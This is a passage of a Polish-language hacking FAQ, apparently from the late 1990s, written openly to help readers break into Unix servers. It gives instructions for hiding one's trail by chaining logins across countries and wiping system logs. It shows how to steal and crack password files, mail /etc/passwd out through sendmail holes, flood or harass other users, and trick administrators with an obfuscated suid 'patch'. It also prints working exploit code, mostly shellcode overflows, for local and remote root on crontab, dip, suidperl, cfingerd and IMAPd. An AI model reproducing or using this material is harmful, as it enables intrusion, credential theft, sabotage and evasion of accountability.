"\n"|head -n 1`
rm pl.c p1 p2.c /tmp/smtpd
-- CUT HERE --
```

13 Sendmail Scanner : lcantuf

Na stronie p0werfaq znajduje sie moj skaner sendmaili, ktory pomoze wam przeszukac spore ilosci serwerow. Razem z nim dostaniecie tez liste 700 polskich serwerow oraz program do zbierania adresow. Dostepna jest wersja dla Win95/NT oraz dla Linuxa.

14 Zdalny root z 8.8.4 : POWER {nie testowalem, mialem lenia ;}

(kodu ne ma, ask lcantuf)

III Jak hackowac by nie narobic sobie klopotow.

1 Podstawy : POWER

- 1 Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych danych. Nie posluguj sie tez danymi innych ludzi, zawsze uzywaj falszywych danych. Poza tym nie hacz z kont, ktore dali ci znajomi administratorzy.
- 2 Na zhakowanych kontach uzywaj najlepiej imion kobiecych, sa mniej podejrzane.
- 3 Uwazaj z kim wymieniasz wiadomosci.
- 4 Nie dawaj nikomu telefonu, kogo nie znasz.
- 5 Nie hacz komputerow rzadowych, zostaw cos dla mnie ;)
- 6 Badz podejrzliwy!
- 7 Zadawaj pytania, lecz rob to delikatnie i nie licz, ze ktos wytlumaczy ci wszystko od podstaw.(to sie tyczy niektorych, ktorzy posylaja do mnie glupie pytanka).

2 JAK SIE WLAMAC BEZPIECZNIE : lcantuf

Na podstawie swoich doswiadczen moge wam powiedziec jak bezpiecznie sie wlamac - kiedy po prostu wejdziesz przez telnet na serwer to w logach zostanie zanotowane "angel@dial003.zigzag.pl". Oto co mozna zrobic nie majac nigdzie roota ani nie bawiac sie w czyszczenie logow:

0) Po zerowe - oczywiscie korzystaj z dial-upu TPSa :-)

- 1) Znajdujesz 2-3 serwery i rozkodowujesz okolo 4-5 kont na kazdym. Najlepiej, zeby byly to serwery w roznym krajach, np. Hong-Kong i Polska. Powiedzmy, ze mamy takie serwery: X.com, Y.com, Z.com, ofiara.com oraz nastepujace konta: X1, X2, X3, X4, Y1, Y2, Y3..., Z1, ofiara

2) Logujesz sie na X.com jako X1, wysylasz tam "nowa" wersje strony. Pozniej przez telnet z tego konta wpisujesz "ftp Y.com" i tam logujesz sie jako "Y1"... UWAGA: Fizycznie jestes caly czas podlaczony do X.com !!! Wysylasz na Y1 pliki. Pozniej wpisujesz na koncie X1 "telnet Y.com" i piszesz "ftp X.com" i logujesz sie jako X2. Powtarzasz wszystko dla konta X2... I tak kilka razy - zajmie to z 10 razy wiecej czasu, ale zaraz zobaczysz w czym tkwi kruczek. Caly czas jestes fizycznie polaczony tylko z X.com i zalogowany na koncie X1, a plik jest juz na serwerze Y.com na koncie Y4 :-)

3) Po kilku petelkach mozesz wyslac jeszcze wszystko wrzucic na Z.com i stamtad dopiero (bedac caly czas zalogowany na X jako X1 !!!) wpisac "ftp ofiara.com" i zastapic oryginalne pliki nowymi. Pozniej wycofujesz sie kasujac za soba pliki... Najlepiej jeszcze miec roota na jednym z tych serverow i zatrzec za soba slady powiedzmy tak w polowie wykonywujac sie z logow.

I co teraz? Admin serwera ofiara.com patrzy w logi i widzi "Z1@Z.com". Pisze wiec do root@Z.com ze ten gosci sie wlamal. Voila. Z1 idzie na spytki! Ale moze sie okazac, ze cala afera sie wyjasni i admin Z bedzie probowal szukac dalej. Zajrzy do logow i zobaczy, ze na to konto logowal sie "Y4@Y.com". Wysle wiec odpowiedni list do root@Y.com (hmmm, za granica, wiec admin musi sie niezle narobic). Ten zas powtorzy caly scenariusz, po czym skapuje sie, ze logowal sie u niego "X4@X1.com". Napisze wiec do root@X.com (znowu za granice, bo do Polski). Ten znowu powtorzy caly scenariusz i znowu napisze do roota serwera2, ze to przeciez "Y3@Y.com" sie u niego logowal :-)

Nie ma szans, zeby admini sie jakos dogadali, zwlaszcza gdy jeden z serwerow jest poza krajem.

W sumie tyle zamieszania, ze na 100% admini sie nie dogadaja, a jak sie nawet dogadaja, to minie pol roku zanim dojdzie do tego, ze logowal sie gosci "noname@ppp2-cst222.warszawa.tpnet.pl"...

I co? Nic... Jesli beda bardzo uparci, to wysla podanie do TPSa o ujawnienie wykazow bilingowych. Minie kilka miesiecy zanim podanie zostanie rozpatrzone, a po tym czasie wykazy TePSy beda juz od wielu miesiecy na wysypisku... Hehehe. Zdarza sie czasem, ze TPSA dziala szybciej i biling ujawnia w niedlugim czasie, ale to musieli byscie juz niezle namieszac. Poza tym przewaznie na TPSA wisi 100 - 200 modemow, wiec taki biling to nie do konca jest dowod (chyba ze na serwerze siedziales kilka godzin). Dlatego trzeba dzialac szybko.

3 KillLOG : lcamtuf

Jest to moj programik, ktory pozwoli wam "zniknac" z logow systemowych, poprawiony tak, by dzialal pod linuxem. Moza go znalezc na stronie faq.

4. Sendmaile - jak dzialac ostroznie : lcamtuf

Kiedy masz zamiar przetestowac remote-buga w jakims sendmailu - nie powinienes od razu kazac mu wykonac polecenie "mail moj@adres </etc/passwd". Po pierwsze, powinienes zalozyc na jakims serwerku w USA (hotmail, geocities) zupełnie anonimowe konto. Mozesz takze skorzystac ze specjalnych "redirectorow" typu toosexyforyou.com :-)

Kiedy dysponujesz juz falszywym, zagranicznym kontem - powinienes przeprowadzic niewinny test sendmaila - np. kazac mu wykonac na poczatek polecenie w stylu "echo Hej, jak leci... U mnie fajnie. Jacek | mail lewy@adres". Po wydaniu takiego polecenia w przeciagu kilku minut powinniśmy dostac wlasnie taki niewinny list. Gdy bug nie zadziala, a root zobaczy ten list - nic nie bedzie ci mogl zrobic, przeciez nie byla to proba wlamu :-)

Gdy dotrze do ciebie list, a w polach "Received from:" bedzie mial prawidlowe wartosci (gdy jako nadawca bedzie widzial root, a odpowiedz przyjdzie po np. 1 dniu, to znaczy ze najpewniej root chce cie sprowokowac i lepiej nie ryzykowac) - wtedy mozemy przetestowac buga, lecz tym razem wyslac do siebie hasla lub dodac nowego usera.

IV Unix

1 Jak zdobyc hasla : POWER

Jezeli twoj system ma system YP file managment napisz "ypcat /etc/passwd" lub "ypcat passwd", a powinienes dostac hasla (uwaga, w /etc/passwd nie znajdziesz prawie nic, gdyz NIS, zwany tez Yellow Pages, to system pozwalajacy na korzystanie z tych samych hasel na wielu serwerach w jednej sieci i inaczej wyglada tam przechowywanie hasel).

Mozna tez probowac tym programikiem, ale ja osobiscie w niego nie wierze (po prostu jest cholernie stary i moze zadzialac tylko na archiwalnym systemie ;-):

```
#include <pwd.h>
main() {
    struct passwd *p;
    while(p=getpwent())
        printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
            p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
```

2 Jak dekryptowac hasla unixa? : POWER

Sluza do tego programy jak John the ripper, Cracker Jack, czy Killer Crack. Ja uzywa, Johna 1.4 , ale wybor nalezy do was. Wszystkie te programy dzialaja pod Dosem. Sa tez programy pod unixa np Crack5.0, ale go nie testowalem. Opisze tu obsluge Johna.

Na poczatku potrzebny jest slownik, ktore mozna znalezc na wielu stronach. nazwijmy go slownik.txt a plik z haslami ktory posiadamy passwd.txt pierwsza metoda dziala bez slownika, jest najprostsza.

john -single -pwfile:passwd.txt

druga metoda dziala ze slownikiem.

john -pwfile:passwd.txt -wordfile:slownik.txt

trzecia metoda posluguje sie slownikiem i kombinacjami, jezesli -single trwa kilka sekund, to -rulez kilka godzin, lecz to zalezy od slownika i ilosci kont(powiedzmy 5 godz , przy 100 kontach i P150)

john -rules -pwfile:passwd.txt -wordfile:slownik.txt

3 Podstawowe komendy unixa : POWER

cat - przeglada plik jak view. np: cat /etc/passwd ;)

chfn - zmienia informacje fingera

chmod [mode] [plik] - zmiana dostepow do pliku.

chown [nick] [plik] - zmiana wlasciciela pliku.

cd [dir] - zmiana katalogu, cd .. cofanie sie o ktalog

cp [plik] [plik] - kopiowanie z nowa nazwa.

diff [plik] [plik] - pokazywanie rozniczy miedzy dwoma plikami.
-b -ignoruj puste miejsca

find [skad_zaczac] -name [nazwa] - poszukiwanie plikow np: find / -name password

finger [username] - informacje o uzytkowniku. Mozna tez z zewnatrz finger

user@server.pl

gcc plik - kompilacja

grep [wyraz] [nazwa pliku] - przeszukiwanie plikow za jakimś wyrazem.

help - pomoc

irc - uruchomienie klienta irc.

kill - ma powiazania z ps , moze zabijac procesy w pamieci korzystajac z numeru PID.(patrz ps)

```
$ kill -9 123
```

```
[123]: killed
```

mozna tez zabic siebie "kill -1 0"

last [nazwa uzytkownika] - sprawdza logi uzytkownika

lastcomm [nazwa uzytkownika] - sprawdza co ostatnio robil uzytkownik.

ls - listowanie plikow ls -l daje wiecej info o plikach i katalogach.

man [komenda] - pomoc w konkretnej komendzie.

mail - czytanie poczty

mkdir [katalog] - tworzenie nowego katalogu.

mv [plik] [plik] - zmiana nazwy pliku, lub przeniesienie do innego katalogu.

passwd - zmiana hasla.

ps - pokazuje co robisz w pamieci i jaki to ma numer (PID)

```
PID  TTY  NAME
```

```
122  001  ksh
```

```
123  001  watch
```

pwd - pokazuje w jakim jestesmu katalogu.

rm [plik] - kasuje plik

rmdir [katalog] - kasuje katalog gdy jest pusty.

rwho - to samo co who.

screen - dopalanie procesu w tle, np: by zostawic ircbota.

tar -xvf 8.tar - roztarowywanie pliku.

w [nazwa uzytkownika] - sprawdza co robi uzytkownik

who - wypisuje info o zalogowanych uzytkownikach.

write [login] - pisanie do innego zalogowanego uzytkownika.

4 Finger : POWER

Czesc serverow zezwala na przesyłanie fingera do innego hosta(redirections):

```
$ finger @host.jeden.pl@host.dwa.pl
```

finger pojdzie przez system jeden do drugiego, az tamten dowie sie ze to pierwszy host poslal finger.

Moze to byc uzywane do ukrycia fingera, lub jako bardzo dokuczliwy trik.

Piszac:


```
$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.ktory.atakujesz.pl
```

Wtedy wszystkie @ beda powodowaly powtorzenia fingera po raz kolejny, moze to doprowadzic do zwolnienia dzialania servera, zajecia mu czesci pamieci i twardego dysku.

(robiac tak w kilku mozna niezle zamieszac w serverze)

(Ale na dzien dzisiejszy dziala to tylko na archiwalnych serverach)

5 Jak komus zamknac konto(czasowo) : POWER

Niektore servery zamykaja dostep do konta po kilku nieudanych probach podania hasla, lub po odczekaniu zbyt wielu sekund przy logowaniu. Mozesz w ten sposob pozbawic jakiegos uzytkownika konta na jakis czas, ale wystarczy ze poprosi on roota, a konto zostanie odblokowane. Takie mozliwosci sa najczescie na serverach uczelnianych, np po trzech zlych loginach nalezy podac specjalne haslo, bo jak nie to konto jest zamrazane.

6 /tmp : POWER + lcamtuf

Bardzo wiele serwerow posiada katalog /tmp, ktory pozwala na zapisywanie tam kazdemu userowi czegokolwiek. Oto program, ktory zrobi niezly bajzel:

```
-- CUT HERE --
#!/bin/sh
while : ;
mkdir .fucku
cd .fucku
done
-- CUT HERE --
```

7 Wlamac sie do servera jako guest : lcamtuf

To dotyczy na serio antycznych serwerow, zostawiam to jednak z sobie tylko znanych powodow...

- Zaloguj sie jako guest lub wykorzystujac inne "goscinne" konto przez telnet (admin musi byc malo rozgarniety, zeby zostawic ta dziurke, typowe konta tego typu sa zebrane w 2600faq, <http://www.2600.com>).
- Korzystajac z zapisywalnych obszarow, czyli np katalogu typu trash, lub tmp nagrac, skompilowac i uruchomic wspomniany wczesniej programik z getpwent().
- Dzieki temu moze otrzymasz plik z haslami.

A potem to juz chyba wiesz co robic!!!

8 Ping flood : POWER

Nie to nie irc, to unix. Tutaj mozna poslac takze ping
ping -s host (Unix)
powoduje wyslanie 64 bajtow do hosta.

W Shicie 95 tez mozna poslac pinga.

NACisnij klawisz "start", potem "uruchom" i wpisz:

PING -T -L 256 xxx.xxx.xxx.pl - taki tekst wystartuje okolo 15 sesji.

ale co sie bedziemy rozdrabniac, przeciez chcemy namieszac!

PING -l 65510 adres.do.spingowania.pl

Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci twojego lacza modemowego ;)

Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel odpalil Linuxa na modemie to moze ci eksperymentowac)

Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux (crash). AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash). OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

(Lecz dzis ping flood juz sie przezytl i teraz kazdy stosuje syncflood'a)

9 Jak kogos nastraszyć : POWER

Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle widzisz napis: "Admin: Mam cie na oku ;)". Robisz w gacie i spieprzasz z servera. Jak to zrobic??? To proste jak drut:)

```
% cd /dev
% ls -l tt*
```

Teraz masz spis wszystkich zalogowanych uzytkownikow - napisz tylko:

```
% echo Admin: Mam cie na oku! >! /dev/ttyp08
```

Gdzie ttyp08 to terminal. ofiary. Jesli pojawi ci sie, ze interesujaca cie ofiara jest zalogowana na "p01" to wpisz ttyp01.

Mozna tez inaczej:

```
% finger lamer
lamer logged on since 12:24 from 194.165.56.7 on ttyp08
% echo Admin: Mam cie na oku! >! /dev/ttyp08
```

10 Do czego sluza pliki .xxxx : POWER + lcamtuf

Pliki .xxxx sa z reguly plikami konfiguracyjnymi.

Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na czyjes konto bez hasla.

Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana wykryte.

.rlogin

Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy uzytkownik loguje sie na konto.

Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia tylko lamery. Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika byly dostepne dla wszystkich.

Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam dojdziesz do tego(lub nie ;)

.rhosts

W tym pliku zawarte sa adresy zaufanych hostow.

Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac hasla. Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany (opisalem ten numer w punkcie I-6)

.forward

Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika bedzie rowniez wysylana pod podany adres.

A teraz te pliki, ktore znajdziesz w linuxach z bashem:

.bash_history

Tu zapisywana jest historia wszystkich polecen jakich wydajesz. Jesli chcesz sie ukryc - wpisz:

```
% echo -n > ~/.bash_history; chmod -w ~/.bash_history
```

.bash_profile

Odpowiednik .rlogina - wykonywane przy logowaniu

.bash_logout

Wykonywane przy wylogowywaniu sie - mozesz tam umiescic polecenie wyczyszczenia logow systemowych.

11 Sciaganie passwd : POWER + lcamtuf

Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach.

Oto kawalek loga z servera x . Jest to plik syslog.0

Byl tam tez plik syslog , w ktorzym logi i inne rzeczy zapisywane byly przez 24h. Natomiast plik syslog.0 przechowywal te dane przez tydzien.

Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne polecenia skierowane do servera(przynajmniej tak to wygladalo).

Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego popularnego servera!!!

```
Apr  8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail
root@194.204.147.39 </etc/passwd", size=8, class=0
```

...

```
Apr  8 22:04:09 srv1 sendmail[5632]: AB05626: to="|/bin/mail root@194.204.14
7.39 </etc/passwd", delay=00:00:03, stat=Sent
```

...

```
Apr  8 22:07:00 srv1 sendmail[5653]: AA05653: from="|/bin/mail
man@flop.byd.ternet.pl < /etc/passwd", size=6, class=0
```

...

```
Apr  8 22:07:06 srv1 sendmail[5661]: AB05655: to="|/bin/mail man@flop.byd.te
rnet.pl < /etc/passwd", delay=00:00:03, stat=Sent
```

...

Oczywiscie tu widac tylko ludzi, ktorzy probuja sendmail hole z 5.55

Gdzis jest rowniez plik zapisujacy wszelkie pobrane pliki passwd, ale akurat na tym serverze nie moglem go znalezc.

PS. Dane o twojej aktywnosci w systemie sa zapisywane takze w innych plikach:

/var/log/wtmp - log "ogolny"

/var/run/utmp - przechowuje informacje o zalogowanych osobach.
Wpisz "echo -n >/var/run/utmp" aby ukryc sie przed who czy fingerem

/var/log/lastlog - zawiera informacje o ostatnim zalogowaniu. Jesli go skasujesz - informacja ta nie bedzie sie pojawiala przy logowaniu na konto.

Inne pliki w /var/log tez sa niebezpieczne (np. proby polaczenia z roznymi uslugami) i warto je skasowac. Jednak skasowanie plikow wtmp czy utmp powoduje, ze terminale sa zasypywane komunikatami o bledach itp, wiec gdy musisz - po prostu "wyczysc" te pliki poleceniem:
"echo -n >/var/log/wtmp; echo -n >/var/run/utmp".

12 Jak zalozyc nowe konto : POWER

Najprostszy sposob to modyfikacja pliku passwd.

Ale pamietaj do tego musisz miec dostep roota lub dostep do zapisu pliku passwd. Najprosciej modyfikacje dokonac jakims edyteorm plikow. Po prostu dodaj jedna linijke.

```
[login]::[user#]:[group#]:[opis]:[katalog domowy]:[katalog shella]
```

Pamietaj ze miejsce na haslo zostawiasz puste, a potem jak sie zalogujesz wystarczy napisac:

```
passwd [login]
```

jesli chcesz zeby konto mialo superusera w miejsce user wipsz zero.

Jesli chcesz miec jednak "elegacko" dodane konto - napisz:
"adduser hacker; passwd hacker"

13 ident-scan.c skanuje dziury servera : POWER

Jest to program poszukujacy daemons na roocie,
backdoors na wysokich portach, httpd na roocie i innych dziur.
ident-scan <host> [low port] [high port]
ident-scan www.lamers.com 1 9999
Znajdziecie go na stronie faq.

14 Kill all processes : POWER

Po zdobyciu roota ten prosty programik zkilluje wszystkie procesy!

```
-- CUT HERE --  
#!/bin/sh  
sync  
kill -15 1  
-- CUT HERE --
```

15 Suid - co i po co : lcantuf

Programy suidowe, to takie programy, ktore maja ustawiony atrybut +s i w momencie uruchomienia przez "zwyklego" uzytkownika dostaja uprawnienia np. roota. Gdy program konczy swoja prace przywraca dawne ustawienia i wszystko jest pieknie... Ale gdy doprowadzimy go do "wpadki" albo gdy jakos zmusimy go do wykonania dowolnego polecenia - mozemy zrobic wszystko! Niebawem pojawi sie w faq pare exploitow, a na dobry start juz mowie, jakie programy maja suida - np. sudiperl (sperl, jest na niego sporo exploitow), chfn, etc. Jesli w dodatku napiszesz do jakiegos lamerskiego roota list (podszywajac sie pod jakas organizacje), ze natrafiono na nowego buga i ze jedyna metoda zabezpieczenia sie przed nim jest wpisanie:
"chmod +s /usr/bin/chmod", lub moze czegos takiego:

```
-- CUT HERE --  
#!/bin/sh  
# Bash Patcher 1.0 (c) nask 97  
parse_spec=+s  
acro=od  
USER_IDENT=r/bin/c  
TEMPStorF=hmo  
c$TEMPStorF$d $parse_spec$ /us$USER_IDENT$hm$acro$  
-- CUT HERE --
```

Pozniej gdy wejdziecie na serwer na dowolne konto i wpiszece np.
"chmod 644 /etc/shadow" - otrzymacie dostep do tego pliku. Tak samo mozna oczywiscie poprawic kazde polecenie w systemie, ale gdy juz mamy chmod'a to mozemy ustawic sobie mozliwosc zapisu do /etc/passwd i dodac dowolna ilosc rootow, wiec... heheh. Gdy mamy w systemie poprawionego chmoda - mozemy tez wykorzystac remote buga w sendmailu, czemu nie?

16. suidperl: lcantuf

Oto exploit, ktory wykorzystuje buga w uruchamianym wlasnie z atrybutem +s suidperlem:

```
-- CUT HERE --  
#!/usr/bin/suidperl -U  
$>=0; $<=0;  
exec ("/bin/sh");  
-- CUT HERE --
```

A oto jak go uzywac:

```
$ chmod 4755 perl-ex.sh
$ ./perl-ex.sh
# whoami
root
```

No i root :)

17. Abuse - RedHat 2.1

Choc to zabrzmi idiotycznie - w grze Abuse dostarczanej z RH21 znajduje sie bug pozwalajacy uzyskac uprawnienia roota :) Wykorzystuje atrybut +s jednego z plikow gdy aby uzyskac suid-shell'a:

```
-- CUT HERE --
#!/bin/sh
if test -u /usr/lib/games/abuse/abuse.console
then
echo System seems to be vulnerable...
cd /tmp
cat << _EOF_ > /tmp/undrv
#!/bin/sh
/bin/cp /bin/sh /tmp/abuser
/bin/chmod 4777 /tmp/abuser
_EOF_
chmod +x /tmp/undrv
PATH=/tmp
echo Executing Abuse...
/usr/lib/games/abuse/abuse.console
/bin/rm /tmp/undrv
if test -u /tmp/abuser
then
echo Exploit successful, suid shell located in /tmp/abuser
else
echo Exploit failed.
fi
else
echo Machine isn't vulnerable.
fi
-- CUT HERE --
```

18. BSD crontab

Oto exploit pozwalajacy zdobyc uprawnienia roota. Wywolaj go z parametrem -92, -348, 164, 296 albo 351. Jesli nic nie zadziala - probuj na chama:

```
-- CUT HERE --
#include <stdio.h>
#include <stdlib.h>

long get_esp(void) {
    __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv) {
    int i, j, offset;
    char *bar, *foo;
    unsigned long *esp_plus = NULL;
    char mach_codes[] =
        "\xeb\x35\xe5\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
        "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
        "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
```

```

"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
if (argc == 2)
    offset = atoi(argv[1]);
bar = malloc(4096);
if (!bar){
    fprintf(stderr, "failed to malloc memory\n");
    exit(1);
}
foo = bar;
esp_plus = (long *)bar;
for(i=0; i < 1024 ; i++)
    *(esp_plus++) = (get_esp() + offset);
printf("Using offset (0x%x)\n", (get_esp() + offset));
bar = (char *)esp_plus;
for(j=0; j< strlen(mach_codes); j++)
    *(bar++) = mach_codes[j];
*bar = 0;
execl("/usr/bin/crontab", "crontab", foo, NULL);
}
-- CUT HERE --

```

19. Dziura w cfingerd 1.0.1

Oto jak wykonac zdalnie dowolne polecenie jesli system ofiary jest zaopatrzony w cfingerd 1.0.1. Sposob wywolania: xxx polecenie serwer.

```

-- CUT HERE --
#!/bin/sh
echo "l0ck r0x wlf gl0x"
if [ $# = 2 ]
then
    finger "/W;$1;#@$2"
else
    echo "$0 \"<command>\" <sitenam>"
fi
-- CUT HERE --

```

20. IRIX 6.2 - bug w oprogramowaniu rejestrującym

Ciekawe, ale wygląda na to, że w IRIXie został taaaki bug. Można zdobyć roota wykorzystując dziurkę w systemie rejestracji... Hehehehe:

```

-- CUT HERE --
#!/bin/sh
MYPWD=`pwd`
mkdir /tmp/emptydir.$$
cd /tmp/emptydir.$$
cat <<EOF >crontab
cp /bin/sh ./suidshell
chmod 4755 suidshell
EOF
chmod +x crontab
PATH=.:$PATH
export PATH
/var/www/htdocs/WhatsNew/CustReg/day5notifier -procs 0
./suidshell
cd $MYPWD
rm -rf /tmp/emptydir.$$
-- CUT HERE --

```

21. do_chatkey() - ???

Oto program pozwalający zdobyć roota wykorzystując dziurę w w/w funkcji. Niestety, nie mam danych na temat "narazonych" systemów:

```
-- CUT HERE --
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_DIP "/sbin/dip"
u_char shell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
u_long esp() { __asm__("movl %esp, %eax"); }
main() {
    u_char buf[1024];
    u_long addr;
    int i, f;
    strcpy(buf, "chatkey ");
    addr = esp() - 192;
    for (i=8; i<128+16; i+=4)
        *((u_long *) (buf+i)) = addr;
    for (i=128+16; i<512; i++)
        buf[i] = 0x90;
    for (i=0; i<strlen(shell); i++)
        buf[512+i] = shell[i];
    buf[512+i] = '\n';
    if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
        perror("temp.dip");
        exit(0);
    }
    write(f, buf, 512+i);
    close(f);
    execl(PATH_DIP, "dip", "temp.dip", (char *)0);
}
-- CUT HERE --
```

22. Bug w DIP

Ten bug pozwala "sledzic" dane przechodzace przez wiele urzadzen w /dev. Zalozmy, ze root loguje sie wlasne na tty1:

```
$ dip -t
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
```

```
DIP> port tty1
DIP> echo on
DIP> term
[ Entering TERMINAL mode. Use CTRL-] to get back ]
(teraz mozemy zobaczyc haslo roota i to co frajer robi)
```

23. Dziura DOSEMU w Debianie 1.1

Aby przeczytac dowolny plik wystarczy wpisac "dos -F /etc/shadow". Heh, suid.

24. Dziura w dumpie Red Hata 2.1 :)))

Tak jak w przypadku DOSEMU Debiana 1.1 - wystarczy wpisac:
"/sbin/dump 0uf woot.dump /etc/shadow"

25. Jak kogos zniszczyc :-)

Mozna na niektórych systemach zasypac komus terminal wysylajac mu tony

smiecia na konsole. Trzeba skompilowac taki program:

```
-- CUT HERE --
#include <stdio.h>
void main() { int i;for(i=1;i<10000;i++) printf("Blahblahblah"); }
-- CUT HERE --
```

A pozniej wpisac: `./ten_program >/dev/ttyX`, gdzie X to nazwa konsoli delikwenta, mozna to zobaczyc np. wpisujac `finger`. Gosciu bedzie musial zrezygnowac z pracy. Ale mozna sie przed tym zabezpieczyc wpisujac `"mesg n"`. A szkoda :-)

26. Bug w IMAPD (Linuxy) : lcamtuf + POWER

Ten bug pozwala zdalnie dodac do `/etc/passwd` linie `root::0:0:r00t:...`, co przy odrobinie szczescia pozwoli sie nam zalogowac jako root bez hasla. Jest pewien problem - ten exploit przepisuje 1 linie atakowanego pliku, wiec utracone zostanie oryginalne haslo roota :(PS. Jesli nie mozesz sie zalogowac zdalnie na to konto - zmien 0:0 na cos innego, bedziesz mial "zwykle" konto, pozniej uruchom tego exploita ponownie (juz z 0:0) i po chwili sprobuj wpisac ze zwyklego konta (na ktorym musisz byc caly czas zalogowany) `"su root"`.

```
-- CUT HERE --
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
char *h_to_ip(char *hostname) {
    struct hostent *h;
    struct sockaddr_in tmp;
    struct in_addr in;
    h = gethostbyname(hostname);
    if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
    memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
    memcpy(&in,&tmp.sin_addr.s_addr,4);
    return(inet_ntoa(in));
}

void banner(void) {
    system("clear");
    printf("\nIMAP Exploit for Linux.\n");
    printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
    printf(" Modifications: pl (pl@el8.org)\n");
}

main(int argc, char **argv) {
    int fd;
    struct sockaddr_in sckdaddr;
    char *hostname;
    char buf[4092];
    int i=8;
    char realegg[] =
        "\xeb\x58\x5e"
        "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
        "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
        "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
        "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
        "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
        "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
        "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
        "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
        "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
}
```

```

"/etc/passwd:xroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';
banner();
if (argc<2) {
    printf("\nUsage: %s <hostname>\n\n", argv[0]);
    exit(-1);
}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
    buf[i++]=0x90;
while(*point)
    buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n");
sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
    perror("Error with connecting. \n");
printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}
-- CUT HERE --

```

A tu macie inny, ale bardzo podobny exploit!

red hat + Slackware 3.2

(w passwd w miejscu hasla root'apozostawia puste miejsce)

```

/*
 * IMAPd Linux/intel remote xploit by savage@apostols.org
 * 1997-April-05
 * Workz fine against RedHat and imapd distributed with pine
 * Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the
 * rest of ToXyn !!!
 * usage:
 *      $ (imap 0; cat) | nc victim 143
 *      |
 *      +--> usually from -1000 to 1000 ( try in steps of 100 )
 *      [ I try 0, 100 and 200 - solo ]
 */

#include <stdio.h>

```


Gdy znajdziesz sie w kliencie (rxvt) wpisz:

```
cat
    ESC[5i
    ESC[4i
```

